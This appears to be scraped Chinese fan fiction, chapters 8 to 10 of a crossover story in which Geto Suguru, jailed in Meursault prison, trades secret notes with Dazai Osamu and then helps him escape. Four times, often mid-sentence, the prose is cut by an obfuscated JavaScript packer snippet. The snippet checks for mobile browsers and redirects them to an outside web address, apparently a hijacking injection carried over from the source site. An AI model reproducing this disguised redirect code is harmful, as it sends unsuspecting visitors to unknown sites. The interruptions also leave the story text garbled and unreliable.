35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258684|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是,发生了什么?他穿越到未来了? 他下意识派出咒灵去调查信息,还不忘放帐,一目十行看完了过程。 原来是天际赌场的对局结束了,出乎意料,赌场其实是恐怖分子根据地,负责人西格玛试图和军警同归于尽,但军警大仓烨子自救成功,而即将坠落的西格玛却被本该敌对的侦探社救下。 太宰和费奥多尔说的内容应该是西格玛获救后,他被突然出现的异能者暗杀,重新从高空坠落,生死未知。 但他们俩不是被关在默尔索里吗? 怎么实时得知的外界消息? 某种意义上,夏油杰第一次意识到两个狱友的头脑有多足智多谋,那是种不可莫测的未知,完全不像人类。 太宰貌似苦恼地揉乱头发:“虽然计划被打乱,但敦君是个好孩子,唉……让我想想,接下来要怎么办。” 费奥多尔无情地道:“我不认为这能让太宰君束手无策,而且,揭穿真相的行为很幼稚,无法想象中岛敦居然是你的学生,他行动前从不思考吗?” 中岛敦…夏油杰知道这个人,在失去西格玛后,中岛敦选择向外界求救,说出一切真相。 侦探社是被冤枉的。 侦探社不是天人五衰,是被嫁祸的。 夏油杰缓缓吐出一口气,突然感到某种焦虑在蔓延,他没想到自己刚才苦恼的问题现在就得到解答,而幕后真凶满不在乎地说了出来。 回忆起来,一切都是有迹可循。 ——太宰每次谈论天人五衰时视线的落点永远是费奥多尔。 ——中岛敦徒劳向人诉说着“侦探社是被嫁祸的”。 ——费奥多尔评价“揭穿真相的行为很幼稚”。 既然真相如此明显,连自己这个刚穿越半天的人都知道,那为什么没人发现?文档里证据确凿的照片和路线图又是怎么回事? 似乎察觉到夏油杰的心烦意乱,两个狱友侧目看来,下一秒贴心地换成其他语言。 听不懂,难道是什么陌生小国的方言? 夏油杰很快把这个不重要的疑问抛到脑后,目光移到说出一连串代码的太宰治身上,利用帐会被人忽视的特性,他写下一行字,让咒灵带到太宰治身边,直白询问。 “你要出去吗?” 刚被送过去的下一秒,他身边出现了张信纸条,比咒灵还悄无声息突然出现。 什么时候—— 夏油杰暗暗吃惊,瞥了眼跟刚才毫无区别的太宰治,让蝇头展开纸条。 回答是干脆利落的拒绝。 “不要,我还没摸清魔人的联络手段呢,倒是你,再不把资料放回去,小心被狱警发现。”角落画着个鬼脸,一看就知道刚才的苦恼是伪装,本人非常游刃有余。 “……”夏油杰脸上习惯性挂着的假笑瞬间抹平,他的关注点本该是太宰治除了抹消能力是否同时拥有空间异能,视线却不由自主被最后一句话吸引。 他怎么知道资料是自己拿走的? 他故意选择蝇头,就是因为它弱小,存在感非常低,残秽少到几乎没有,连辅助监督走在路上平时都会下意识忽略,更别提普通人了。 但是太宰治发现了。 那费奥多尔呢?狱警呢? 在隔壁牢房地板下的一级咒灵仍在盘旋,无论费奥多尔是否知道,装作若无其事是最好的选择,夏油杰按耐住放出咒灵探查狱警是否也知道的想法,眯了眯眼,他用咒力销毁纸条,指挥蝇头把文件放回原位,决定抽时间再找太宰治聊一聊。 8. 第 8 章 隔壁两人讲着只有自己能听懂的小众语言,不知道是防备狱警还是隔离自己,但他手里掌握的情报太少,无法参与其中是事实。 用咒灵从狱警身上获得情报这个方法被太宰治否决,夏油杰虽然积攒了一堆待处理事项,却突然变得无所事事。 他躺在床上,试图复盘入狱这半天的经历。 以费奥多尔是天人五衰和侦探社被陷害这两点作为前提来思考,太宰治跑到监狱的目的显然是监督对手,而且他俩都有联系外界的特定手段,这监狱跟没进一样,有吃有喝有陪聊——可为什么要兜圈子。 直接把费奥多尔带到侦探社面前,用电视台向全世界揭穿凶手;或者注射麻药让他持续晕厥,物理隔绝他对外联系不行吗? 还有,费奥多尔的理想跟自己相反,他厌恶普通人,对方就是坚定的普通人拥护者。 那所谓杀死异能者的过程难道是指他用尽手段去污蔑侦探社? 难以理解,侦探社跟他的伟大理想有关吗?总不能是格林德沃和邓布利多的关系吧。 不小心歪到魔法世界的夏油杰揉揉脑袋,都怪欧洲监狱里的狂热书粉,只能说哈利波特害人不浅。 根据刚才看过的情报,费奥多尔先后设计了数次横滨毁灭计划,放出的硬币炸弹害死不少普通人。 愈发难以理喻了,放在夏油杰身上,或许会来场百鬼夜行让咒灵杀死普通人,却很难对同胞们动手。 同胞是用来保护的,极其特殊的情况才能忍痛动手;家人是用来爱护的,哪怕自己死掉也要拼命保护。可夏油杰左想右想,也猜不到费奥多尔平等针对每个人类的原因。 见鬼的理想主义! 夏油杰咂嘴,狱警偷来资料上写的心理侧写没一句对的,费奥多尔才不偏激,他比任何人都清醒,是个百分百的结果主义者,只要能导向期望结局,过程产生的一切伤亡和损失都要为此让步。 真正的理想主义者用眼神表达不满。 被谴责的费奥多尔莫名其妙,试图递给夏油杰一个微笑敷衍他别犯病,旁边纵观全程的太宰治噗嗤捂着嘴,他用看起来偷偷摸摸、实际上在场三人加旁观两个狱警全发现的小动作,笑眯眯用口型和手指对夏油杰比划:别急啊少年,等我半个小时。 “!”躺在床上满肚子疑问的夏油杰扑腾一下就坐起来了。 太宰治说到做到,半小时后,他和费奥多尔的谈话接近尾声,语言也重新变回日语,夏油杰趁机光明正大偷听,发现话题还围绕在天际赌场和西格玛身上,甚至说出一件夏油杰不知情的后续发展,让偷听的他精神一振。 “组合被我引荐到横滨,难道我会不知道露西小姐的异能?她可以创造一个异空间,稍微动动脑,就知道侦探社躲在里面制定计划,猜到这点,对付中岛敦就变得轻而易举。” “确实如此,可你有没有想过?「书」说白了不过是本自制小说。”太宰治随手抽出床头一本小说,他摊开内页做出作家般书写的姿势,语气意味深长,“在小说里,失败可能是变相的胜利,最低潮就是高潮的开始。” “……”费奥多尔没回答。 “刚才的话还给你。”太宰将小说扔到方块房间的角落,如同抛弃本读之无用的杂谈,“鹿死谁手,还尚未分晓呢。” 然后两个人都不再交谈了。 突然的沉默让夏油杰不太适应,哪怕太宰治亲口告诉他半小时结束,但两人干脆利落地默契停止依然让他有种奇怪的意犹未尽,仿佛讲到中间突然大结局的电影,浑身不对劲。 他出声打破周围的寂静:“你们不聊了吗?” 太宰治耸了耸肩:“没必要,该交流的交流过了,狠话也说完了,再聊下去,我们只能猜数字或者下国际象棋,你来之前,这些游戏我们早就玩腻了。” 见识过下棋现场的夏油杰果断问:“什么是猜数字?” 太宰治抱怨:“举例好麻烦,不如你随便想个数字,我现场猜,你就明白了。” 他理解夏油杰的没话找话,自己和魔人前一秒滔滔不绝,下一秒突然停止,感到不适应很正常,人类的尴尬情绪会让夏油杰在交流正事前不自觉找个熟悉的共同话题。 但有点耽误时间。 其实完全不忙的太宰治在夏油杰说“好了”之后,不假思索回答:“是3…这个数字对你有特殊含义?” 他很好奇:“为了制造想象中的难点,人类普遍会想一个非常复杂且庞大的数字,我又没限制几位数,但你第一想法却是个很普通的数字。” 夏油杰丝毫不觉得穿越前经历是见不得人的话题,大大方方说实话:“是我的同期,我们这届只有三个学生,我杀人叛逃后,他们两个应该很震惊。” 太宰若有所思,冷不丁问:“你还记得他们的名字吗?相处经历呢?” 这问题正常人都觉得冒犯,无缘无故打听身份背景,夏油杰却浑然不在意,他的性格在咒术界这种人均神经病的地方都称得上矛盾二字的评价,但在回答前,他掌心里突然出现了什么东西,导致原本想回答的内容变成气音,仿佛突然卡壳的机器:“呃。” ——这是一张纸团。 夏油杰将想说的话抛在脑后,第一时间闪过物品的来源。 是太宰治,他为什么这么做?故意抛出问题,然后在暗地里偷偷传递信息,甚至还塞进他手心里,是担心有人看见吗,借此机会为真正的聊天内容打掩护? 夏油杰想不明白,但看一眼就知道了。 刚才写小纸条放的帐倒是没取消,他对一心多用谈不上擅长不擅长,能打宝可梦的同时看电影,但每次上课玩手机却总被夜蛾老师精准抓获。 为了不暴露异样,在短暂沉默后,他用两个字简洁回复:“记得。” 然后展开揉成团的纸条,里面字迹潦草:“别说太多,讲点全世界学生的共同经历。” 角落里依然是个简笔画,笔触诡异,能看出是个带着猎鹿帽的年轻侦探,双手叉腰,一头乱发从帽子里翘出来,旁边还写着“温馨提示”四个加粗大字。 “……”不是,他到底赶不赶时间。 说太宰赶时间吧,他画了个风格诡异的侦探社同事,说不赶时间吧,字迹都快连成横线了。 夏油杰无语片刻,按照提示一句话总结校园生活,“我们三个关系不错,经常一起逃课看电影逛街买伴手礼,上课偷玩手机,偶尔打架,不过老师早习惯了。” 同时在纸上问:为什么不能详说? 其实在了解到两位狱友的高智商,夏油杰行为谨慎不少,他这次目不斜视,旁边常人看不见的帐里有只蝇头抱着铅笔,歪歪斜斜写下这行字,然后让蝇头直接吃下纸条,带到太宰的牢房里,决不让任何人或者监控发现不对劲。 但太宰治的传信手段更离谱,次次莫名其妙把纸条放在身边。 夏油杰拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258685|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的纸条,开始严谨假设他是男鬼的可能性。 听太宰治描述,他以前自杀许多次,指不定某次就成功变成鬼魂重回人世了,神出鬼没得到解释,后续自杀不成功的理由也有了——鬼魂没办法物理祓除。 夏油杰知道这个猜想非常离谱,但胡思乱想不违法,反而有助于在监控面前保持正常表情。 违法也没关系,他本来就在蹲监狱。 联络方式就这样确立下来,太宰似乎狡猾地认定夏油杰只有自己这个唯一选项,立刻巧妙赖上他,开始做谜语人,暗搓搓抛出诱饵勾引他上钩:“我有个猜想,等处理完别的事再告诉你。” 太宰在暗示,快来帮我快来帮我,虽然我没明说但你要记得问。 夏油杰其实很想拒绝,自己刚才提出越狱的选项被驳回,现在这人又故弄玄虚等自己主动帮忙,完全不想顺着太宰治来。 但他积攒了一肚子的疑问只能靠对方解答。 他一边在心里唾弃自己,一边如愿咬钩咬牙切齿写下:“什么事?” 笔尖刚落下第一划,夏油杰眯起眼睛敏锐转头,正巧看见太宰没来得及收回的笑脸。 “……”嘁,被发现了。 太宰忙碌地把绷带拆开重新缠上,“真让人羡慕的同学情啊哈哈,可惜我十六七岁在横滨乱跑,森先生天天把我当印钞机使唤,只会哭着跑来诉苦。” 呵,黑手党。 新晋的极恶诅咒师夏油杰发出刻板印象的冷笑。 惨遭揭穿的太宰老实不少,当然以他的能力,不愿意也没人能当场拆穿他,只能说这是太宰独有的恶趣味。 他写到:“你翻到的那些资料,应该有几个负责书写归纳的狱警,我希望你去跟踪这些人,把他们的行踪告诉我。” 太宰信誓旦旦。 “我的推测告诉我,弄清楚这件事,就没必要留在默尔索了。至于你在军警里的家人,我半小时前通知过侦探社,乱步先生已经行动了。” 医院里的国木田要救,监禁室里的社长要救,被车带走的与谢野也要救,现在加上两个做梦都希望跑来找夏油杰的小孩而已,对心理年龄同龄的乱步先生不算难题啦。 夏油杰盯着家人两字沉默良久。 他一直在想菜菜子和美美子,没人保证越狱后军警会遵守承诺,但外界乱成一锅粥,失去咒术界又离开自己,让双胞胎姐妹现实意义上举目无亲,他必须回去才能稳妥地保护她们。 结果没等自己提出来,太宰就告诉他:别乱想了,我早就行动了。 这个人还告诉他:“乱步先生马上就到了,你有没有什么凭证,让她们听完会乖乖跟他走?” 一如既往的,纸条角落随手留了个简笔画,这次是两个扎着双马尾的火柴人在手牵手,发型没有任何含义,只是太宰不知道双胞胎的具体发型,不过后面站着一个稍微大点的火柴人,披散着到肩部的头发,有一撮刘海垂下来,双手分别搭在双胞胎的左右肩膀,像个带孩子拍全家照的单身年轻父亲。 没必要问太宰何时知道双胞胎姐妹的了。 盯着这幅潦草至极的简笔画,夏油杰想到许多许多…带着她们后悔吗?不后悔,他只恨自己没早点带走菜菜子美美子,让两个孩子忍受太多的恐惧。 现在恰如当初,她们仍在孤独中等他过来。 夏油杰收敛起经常挂在脸上的表情,认真写到:“你告诉她们,咒术师。” 9. 第 9 章 咒术师代表什么? 在御三家眼里,是高贵且古老的身份;在辅助监督眼里,是份终身制的职业;在更多同胞眼里,是常年伴随在身边的灾难;在诅咒师眼里,是厌烦的敌人;在同期们眼里,这只是一条注定的道路。 每个人都有不同的答案,然而在夏油杰看来,这个身份代表永不回头的三年青春。 因为他现在是诅咒师了。 被这个称呼勾起许多回忆,夏油杰又想到被他留在军警医院里的菜菜子和美美子,双胞胎们知道咒术师,因为他在屠村时为了安慰认为自己是怪物的她们时解释过身份,只要江户川乱步把原话带到,就能顺利领俩人出来。 他忧心忡忡坐在床边等待太宰的消息,结局是好是坏尚未得知,军警的手段他在末广铁肠身上便能管中窥豹,条野采菊的追踪能力更是骇人听闻,倒是侦探社,根据他的观察,数次逃亡路上险象连生,不少成员被逮捕归案,哪怕刚见识过太宰治的手段,夏油杰依然有点紧张。 直到夏油杰看见太宰治偷偷对他比了个OK的手势。 ——竟然这么顺利?? 夏油杰惊讶。 不过顺利是好事,他没继续追问目的地在哪,在幕后主使身边谈论藏身地太刺激了,他不想拿双胞胎的安危去赌。 太宰治看出夏油杰的沉默,对这份理智非常满意。 比某些关心则乱投鼠忌器的人好管多了,不用安抚情绪真方便,他年轻时就不擅长这些,每次都靠故意激怒人来打诨插科。 不过也不能因为人家自我管理意识强,就忽视他的内心感受,太宰想了想说:“猎犬是政府利刃,继承了许多来自军警两方默认的潜规则,比如两人一队,条野采菊和末广铁肠,大仓烨子与第五位的卧底搜查官。” 他干脆透露一点无关紧要的消息,顺便暗示侦探社还有别的帮手。 “而第五位的潜入地点其实是港口黑手党,我以前上班地方,这么好的利用机会,森先生绝对会做点什么。” 太宰故意用含糊说辞误导所有人——港口黑手党没有交付出信任,导致他知道一点,但是不多。 至少不了解立原道造的真正身份。 这不是为了防备夏油杰,而是旁边在倾听和思考的费奥多尔。 立原道造的潜伏原因是上任卧底暴露,那个卧底正巧是太宰的朋友坂口安吾,对方暴露原因跟他跳槽导火索是同一起事件引发的后果,从时间线来看,是太宰先销声匿迹,立原道造后入职港口黑手党。 换而言之,他跟立原道造其实只有几面之缘。 缺少线索是聪明人的致命弱点,这样一看他猜不到立原是卧底也意料之外情理之中,至少太宰把理由给出来了,费奥多尔信不信是他的事。 反正是随口误导敌人,成不成功无所谓,给别人顺手挖坑他最擅长了。 夏油杰根本不在乎卧不卧底,他连军警和江户川乱步的名字都不想提,试图避开一切会暴露特别行动的人事物,顺着太宰话里的内容随口往下接:“港口黑手党是黑幇吧,维护城市秩序听上去有点奇怪。” “横滨太乱了,森先生无法容忍这件事。” 跟许多人想象中不同,太宰治其实很少去打听前公司的情报,无论是洗白期间,还是加入侦探社这两年,他都在想方设法避免和港口黑手党产生联系,遇见甚至会远远避开。 这么多年,从他在横滨到处自杀跳河胡乱蹦跶,追查他的芥川和熟悉他行动的中也却没发现,别说这些高级干部,连经常跟侦探社有业务冲突的中低层部队也没遇见过他,太宰躲避老东家的手段就可见一斑。 若不是中岛敦被七十亿通缉,樋口一叶找到侦探社发委托,情况紧急,只有港口黑手党这个参与其中的组织拥有充足资料,他巴不得后半辈子都别联系。 因此谈论起老东家的语气也嫌弃极了。 “港口黑手党不是正常意义的黑幇,准确说是压制横滨所有黑色势力的龙头,制定规则,监督同行,管控渠道,只要把持住所有走私、赌博、贿赂、杀人放火的生意,就没有别的势力敢越过自己去捣乱——大概就是这样的理念。” 诅咒师夏油杰锐评:“真扭曲。” “还好吧,很有效果。”太宰治比较支持,“至少不会出现几年前街道上到处尸体的场景,我十四岁跳河,河底全是被抛弃的尸体,十六岁周围的底层人员经常因为枪战死亡,十八岁只有外来势力才会引起横滨动乱,至于现在,在天人五衰事件之前,连环杀人案都能引发社会层面的关注了。” 果然惨状都是对比出来的。 换做夏油杰,绝对想不到连环杀人案居然算秩序良好的表现。 太宰治笑了,“看你一脸想吐槽的表情,没办法,横滨是公认的港口租界城市,稳定的物流运输让这里成为重要交通枢纽,钱多路近机会足,许多势力入境的第一选择就是这里,而历史遗留的租界问题,又让它保持三不管的政治混乱,更别提还有擂钵街,连偷渡客犯愁的身份证明都解决了。” 夏油杰礼貌捧场:“你们给外来人员的准备真充足。”生怕他们没办法捣乱。 太宰被逗的噗嗤笑出来,“所以才会出现这种奇怪情况啊,有些高层脑子一拍,觉得横滨的问题多简单,只要稍微用心处理就能解决,却没想过这是租界,官方势力插足会被国外抨击,调动太多军警力量容易引起外交纠纷。” “但如果是黑手党就简单了。” “毕竟是混乱的代名词,看见外国犯罪组织抢生意,感到冒犯而动手也正常吧,”他指了指费奥多尔,“连这位第一次正式动手的时候,都知会过港口黑手党,邀请森先生作为悬赏敦的势力之一。” 被点名道姓的费奥多尔露出含蓄的微笑。 夏油杰收回视线,发自内心感慨,“你们好乱啊。” 你算计我,我算计他,他算计你,好几方势力牵扯其中,看起来是大型碟中谍进阶版大杂烩,实际上每个人对其他势力想做的事心知肚明,有人趁机收缴利益,有人故意落进圈套。 “所以跳槽后我的心情好了不少,总算能离这些弯弯绕绕远点了,侦探社就很普通,只要帮警力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258686|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不足的杀人案找找凶手,举报下猖獗的走私势力,剩下就是值得享受的人生。” 夏油杰对比了下他之前的处境,点头赞同:“确实。” 哪怕回想自己高专三年生涯,都没太宰治这么多姿多彩,杀人案在这家伙眼里可能真的只是普普通通的小事件,是横滨逐年稳定的证明。 现在理解太宰身在监狱丝毫不慌的原因了,年纪轻轻见识丰富,还有整个侦探社在外面拼尽全力去奋斗,或许他反而觉得,现在要比在黑手党时慰藉多了。 他们大概陆陆续续聊了两个多小时,被夏油杰放在狱警身上的咒灵也跟着走了两个多小时。 被他监视的几个人中,有一个留在他曾经派咒灵去过的资料室,小部分在监管犯人的操作台前,剩下的全跑到一楼,不过每隔十分钟,这些人就会互相更换位置,不知道在干什么。 夏油杰觉得这些信息足够太宰治琢磨了,干脆一股脑全告诉他。 太宰没想到他给的资料这么充足,本来做好自己对地图的准备了,他问:“你确定是负责我们这处区域的操作台?” 夏油杰点头:“当然,我之前拿到过默尔索本月值班报告,里面有逃生路线图。” 太宰好奇:“这些人在原本的值班地点吗?” “不知道,我没办法把狱警跟名单对应。”夏油杰可惜自己没有冥冥学姐黑鸟操术能连接视线的能力,虽然能借用咒灵的术式,但他往日只追求战力,遇见这种没用的能力也不会收集——他没想到自己有侦查这天。 夏油杰想了想,“如果需要,我可以想办法,就是麻烦了点,而且效果不一定好。” 他拥有超过四位数的咒灵,对每一个都如数家珍,哪怕单个咒灵能力不显,组合起来能制造意想不到的效果。 不过肯定比不上黑鸟操术,这是收集情报的最佳选择。 太宰摇头:“算了,利益不对等,也不是什么必要线索,我大概知道陀思传递消息的办法了——这些人在没有被策反的前提下无条件帮助魔人。” 夏油杰挑了挑眉。 他算发现了,太宰治很喜欢把自己想做的目标包装一下等别人提出来,自己隐藏在幕后,他从善如流地站起身提议:“我帮你去见他们。” 太宰果然笑了起来:“好啊!” 终于可以越狱出去,明明才过去半天多,夏油杰却觉得恍如隔世。 确实隔了一个世界。 夏油杰心想,也有好消息,两个世界能力不互通,默尔索限制异能的装置,对自己不管用。 他抬手召唤出特级咒灵裂口女,原本它差点被伏黑甚尔杀死,可惜阴差阳错还是保留了下来,又拿出武器库丑宝,从它体内抽出特级咒具游云。 游云是没有任何术式的咒具,同样是继承的伏黑甚尔遗产之一,以强大纯粹的物理能力在封建傲慢的咒术界登顶成为特级咒具,能力剑走偏锋,在一力降十会的场合非常方便。 夏油杰用咒力强化臂力,掂了掂三节棍,猛地甩出去。 刺耳的警报声在整个默尔索回荡。 10. 第 10 章 金色的封印装置像玻璃碎片一样折射出璀璨的光晕,裂口女刚好打碎太宰治的牢房,夏油杰踩着咒灵跳到立方体上面,两人头顶天花板裂开,露出里面的机关槍。 他挥手召唤出咒灵,结成半包围防御挡住子弹,等这轮弹雨结束,头顶换枪的时候,伸手拽太宰治上来。 “这里是默尔索底层,出口电梯在上面。”太宰立刻松开手,避免干扰夏油杰的异能,言简意赅,“情况紧急,跟我来。” 他正准备往提前观察好的逃生路口撤离,夏油杰拉住太宰,指挥裂口女把床上的被褥拿出来,扔到太宰身上。 “那就那样太慢了,麻烦把能力取消一下,不能取消就物理隔绝,我带你飞上去。” 刚才抓太宰治胳膊的时候,夏油杰就发现了,虽然自己体内的咒力没了,但裂口女和其他咒灵却没消失。 这说明太宰的抹消没想象中那么不讲道理,至少无法间接影响咒灵。 太宰隐隐猜到真相,总算明白默尔索为何把夏油杰放到自己旁边,他明白事急从权的道理,果断扔下被褥换计划:“布料不行。” 以前他应对超越者兰波时就用过这招,拿着看上去仿佛嘲弄中也才布置的可笑彩带去传导异能,才侥幸取得胜利。 不是随便拿出一件衣服都能隔绝人间失格,否则以他时时刻刻缠绷带的爱好,哪天碰到异能者暗杀,第一反应就该是解开绷带了。 太宰捡起被裂口女打破的大型碎片,在刺耳警报声下大喊:“用这个,这是特殊材质做的隔绝材料。镇压部队要来了!快把你的小东西叫出来,立刻走!” 夏油杰见状不再犹豫,召唤出鬼蝠鲼,然后让太宰站到玻璃碎片上,接着叫其他咒灵去破坏头顶的机关枪,躲避能追踪的小型导弹,顶着枪林弹雨狼狈至极地飞到电梯旁边。 底下乖乖坐牢的费奥多尔仰头惊叹,决定为他们两个的勇气送上掌声。 “这可真是……胡闹。” 话说果戈里怎么还没到?按理说应该快了啊。 夏油杰被爆炸浓烟呛的咳嗽,他抬起手臂挡住口鼻,右手攥住游云发力捅开电梯,接着用咒力强化身体,手指发力死死攥住,硬生生把铁皮撕出一个鬼蝠鲼能过的洞口。 他头也不回喊:“别乱动,如果要摔下去先抓我!” 万一不小心碰到咒灵,他们两个得全都掉下去玩一回高空蹦极。 太宰摇摇晃晃地站稳,比了个ok的手势,迅速拿多余绷带三两下给自己围了个口罩。 他声音闷闷道:“默尔索监狱的楼层会被气密门分割成数十个小区域,路上有重武装警卫和对异能迎战部队巡逻,顺便,小心隔绝区域里的重水和毒气,危险性大概是三十秒立刻致人死地那种。” 夏油杰震惊:“你怎么这么了解?!” “我当然有我的方法,在通知你越狱前,我还顺便去拿了这个。” 太宰从口袋里掏出什么,用当当当的语气炫耀道。 “看!默尔索内部专用通讯器!虽然只能听固定频道,几乎没有用处,但我更改过权限,可以用它向警卫和特殊部队下达指令。” 他补充:“不过只能用一次,发布两分钟后就会被指挥台发现,覆盖命令,反追踪到痕迹,情况紧急下才能动用。” 夏油杰先是惊喜,然后立刻反应过来:“不对,你其实能自己逃出去吧?” 不仅对默尔索监狱内部建筑了如指掌,还有联络外面的手段,更能偷藏专用通讯器、改换权限,怎么看都像有内应的样子。 太宰毫不害臊地无辜示弱,“钻个漏洞而已啦,我自己离不开的。默尔索小岛与世隔绝,不在任何地图和卫星以及雷达上显示,我想离开只能乘监狱里的直升机,要是只有我自己,会被追踪导弹打下来的。” 他说的鬼话夏油杰一个标点符号都不信,他无语地布下帐,指挥咒灵横冲直撞,扫清阻碍:“你别乱动,我刚才在周围布置了一层结界,能过滤毒气,你碰到它我又要重新弄。” “哦哦。”太宰治好奇地盯着空气看,难怪刚才隐隐约约感觉到气体流通不对劲,明明速度这么快,风阻却弱了几分。 他扒拉几下自制口罩,堆在脖颈上,放心大胆地呼吸新鲜空气,一点也不怕夏油杰说谎。 甚至开始随口闲聊:“你是阴阳师吗?专门养小鬼干坏事的那种?你们上课不会是教剪纸人吧,然后学占卜观星操纵式神,对了对了,是不是经常有女鬼小姐和妖精女士来寻仇!”说到最后他眼睛唰的亮了起来。 自己在这里打生打死兼职司机,太宰治在那里胡编乱造。 夏油杰气到露出假笑,斩钉截铁:“我以前现在和未来都跟阴阳师毫无关系!更不会有漂亮的鬼怪小姐来杀你的!做梦!” 说完夏油杰忽然抬头,看向天花板,奇怪地皱眉:“刚才你让我监视的那几个狱警从一楼下来了,现在正在负二层,但他们跑到电梯附近,忽然不动了。” 为了防止越狱犯人跑得太快,默尔索监狱在建设之初,就没做成直来直往的运输模式。 而是以东西东西东的分散式电梯布局,让连接每层楼的通道都被隔开。 他们现在所处的位置偏东,想乘坐电梯去负三楼,就要闯过层层关卡,跑到走廊的最西边上去,抵达后若是想继续前往负二,还要重新跑回最东边,乘坐另一架新的电梯。 而那几个狱警此刻就蹲在负二层前往负三层的电梯旁边。 夏油杰皱眉问:“他们到底是什么情况,让你这么关注,难道这群家伙是天人五衰打进来的卧底?想在电梯口堵咱们?” 刚才听了一脑袋卧底搜查官的他迅速代入:难道又是新的碟中谍? 太宰点头又摇头:“确实是费奥多尔的人,但第二点不是,他知道你异能强大——” 夏油杰纳闷打断:“等等?我几秒钟前刚暴露出实力吧,他怎么知道的?” 说话同时夏油杰还不忘阻拦特殊部队,不比刚才的重武装警卫,这次的对异能特殊部队棘手多了,可惜他上个能飞且在四位数咒灵中防御能力最硬的虹龙被伏黑甚尔祓除,否则不会这么狼狈。 早知道这个夏天就多补充点高级咒灵了。 太宰治不知道他的苦恼,眼神诡异地看他,仿佛夏油杰说了什么无法理解的傻话:“太明显了,那种傲慢的举止,仿佛不停在对人重复着我很厉害我很厉害,只有傻瓜才看不出来。” 以前经常称呼自己和同期两人最强的夏油杰露出尴尬的微笑。 他转移话题:“你继续说,我不打扰。” 总算不会被打断的太宰治满意道:“费奥多尔知道你异能很厉害,不可能走电梯,要走也是这种快速通道。” 他说着指了指天花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258687|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板上的破洞,这是咒灵硬生生耗费两分钟撞出来的,楼层与楼层间厚达十米,几乎相当于两个走廊的高度。 虽然厚度惊人,但其实比正常坐电梯省时间。 太宰断定: “所以,他们不是在堵咱俩。” “那在堵谁?” “默尔索监狱的作战部队。” 太宰从玻璃片上跳下来,“哪怕不知道他做了什么,也很容易猜到吧……需要乘坐电梯过来的不仅仅有越狱的罪犯,还有特殊作战部队和监狱警卫。” 跟夏油杰不一样,太宰治看不见咒灵,只知道自己现在跟乘坐飞天魔毯的阿拉丁一样,踩着块流光溢彩的碎片到处乱飞,实在受不了这份童心,刚到三楼他就跳到地面上。 顿时心里松了口气,比起被部队围歼,太宰更不愿意当童话男主角,表情都轻松不少:“没必要继续找他们了,在这里等五分钟,我就能看见想要的真相。” 关于费奥多尔下一步计划的真相。 夏油杰跳到他身边,收回鬼蝠鲼改换成其他咒灵,他对这个世界的人类感观不好也不坏,但当初护卫星浆体的时候没杀诅咒师,现在自然不会主动杀警卫——更别说自己才是越狱的那个。 他极少出尔反尔,虽然违背约定这事无法避免,但对不起军警的其他行为还是能不做就别做了。 不然真成硝子口里的人渣了。 他闲着无聊,干脆又布置一个新的账,刚才那个在太宰跳下来时就破了,这次他没用任何束缚,是普普通通让“没有咒术的人下意识忽视”的帐。 太宰敏锐地察觉到头顶摄像头的变化:“你又在布置结界?摄像头刚才转走了。” “对,我比较习惯叫帐,”夏油杰放下并立的双指,不用考虑动手轻重,他整个人心平气和,解释起来都有耐心了:“可以理解成神隐一样的状态,没办法看见、不能触摸、无法进入。” 太宰眼睛又亮了,侦探社还缺少一个视野良好的根据地,露西的异能‘安妮的房间’优点很多,但可惜自己进不去,而且有着从哪进从哪出的缺陷,若是进入异空间的地点暴露,很容易被敌人原地蹲家。 他开心到一口气念出很多武器名字:“这个帐能挡子弹榴炮弹火箭筒之类吗?” 其实在问出来之前太宰就有猜测了。 果不其然。 “可以。”夏油杰想都没想,“虽然没试过,但无所谓,也就是立个束缚的时间,比如舍弃某个优点,换取拒绝热武器进入的能力。” 太宰感慨,“哇哦,阴阳师还真是多才多艺。” 夏油杰常年挂在脸上的假笑都崩坏了,心态重回高专,咬牙切齿:“都说了我不是!你故意的吧,你刚才不也看过我写的纸——等等。” 他忽然听到许多杂乱的脚步声,仿佛密密麻麻的人群正往这里走来。 